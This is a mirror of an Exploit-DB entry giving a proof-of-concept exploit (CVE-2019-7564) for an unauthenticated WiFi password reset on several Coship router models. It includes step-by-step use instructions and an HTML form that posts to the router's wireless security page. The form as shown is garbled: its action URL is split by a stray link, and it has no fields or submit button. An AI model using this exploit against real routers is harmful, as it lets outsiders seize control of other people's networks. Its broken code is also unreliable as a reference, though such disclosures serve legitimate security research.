Coship Wireless Router 4.0.0.x/5.0.0.x – WiFi Password Reset - 体验盒子

作者： Adithyan AK

日期： 2019-02-11

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/46336/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

# Exploit Title: Coship Wireless Router – Wireless SSID Unauthenticated Password Reset

# Date: 07.02.2019

# Exploit Author: Adithyan AK

# Vendor Homepage: http://en.coship.com/

# Category: Hardware (WiFi Router)

# Affected Versions *: *Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.

# Tested on: MacOS Mojave v.10.14

# CVE: CVE-2019-7564

#POC :

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html

# Open Exploit.html with your Browser

# Click on “Submit request”

# The password of the Wireless SSID will be changed to "password"

<html>

<body>

<form action="http://X.X.X.X/regx/wireless/wl_security_2G.asp

<http://router-ip/regx/wireless/wl_security_2G.asp>" method="POST">

</form>

</body>

</html>